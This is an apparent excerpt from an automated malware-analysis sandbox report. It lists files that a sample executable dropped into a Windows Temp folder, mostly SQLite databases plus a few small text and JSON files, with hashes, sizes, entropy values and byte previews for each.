SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\s2TQSULuVM

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sCEOnbNm5X

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sDI5za8nTo

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sO2OVxgpQ2

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sQ0y7oDXvq

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sri8EL9yVY

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\syJvXBJrAt

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\szaag5uNIU

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\t4TvfHsVY4

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\t82SaeXRZ4

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tT0I3EgDSj

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tWPWmU6q26

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uYKT2LGzm1

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ugjBQtl5CR

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uhQlHEyp54

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uwAok6GBmP

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vQO9lmPzW8

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vr8vQAVb80

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vuXIwbcNiN

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wBzxjQfEdQ

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wHTtjGIXu1

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.213660689688186
Encrypted:	false
SSDEEP:	3:vu4DgBW4v:vukhi
MD5:	D4C5BF7C9169584DA6647236A6A95F95
SHA1:	179D97B2818CADE365A544B2431FA4C8A65F2405
SHA-256:	3D4323173C4EFC2BD4F3302F64F32BBAF9AFC4D8885E0E90CDEB0008F4403A41
SHA-512:	C3C6D4FB3A3655A0A9F965159E7631FE2AE5D51764BA1C302C78A0B99A0423E0EE61A095F98709E8D6CF88953C274770D01CA1B96035A44D690375B90E2BDE72
Malicious:	false
Preview:	xGUmIKuJNc3qrMAoEuqVxujeJ

C:\Users\user\AppData\Local\Temp\wzcfnN3JZH

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\x2OtK4OW1g

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xO4usmDXBF

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xbeAA8Gvrj

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\yZzmAsjAtq

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.163856189774723
Encrypted:	false
SSDEEP:	3:1hjGdVn:I
MD5:	5DF41DDDCD66FFE615261FA09838C4B4
SHA1:	73A26FD93AE1B70F60D8DE82DF6691539D569C0A
SHA-256:	2FFA313A8033CE0120B637964ADB9C3E8839E0FFD194E4387B87261F29101E97
SHA-512:	3CDA39041628A70D312B9063E6BB9707BB678E1104DF8750DC75F0E73F098D683E607D198E92D557839D0F555BFA83ED9D41175FAB62C2E00C289D4153D597D3
Malicious:	false
Preview:	JVD7wL07sk8c6DYyLY8Qo9MvV

C:\Users\user\AppData\Local\Temp\ygxGOwttVN

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
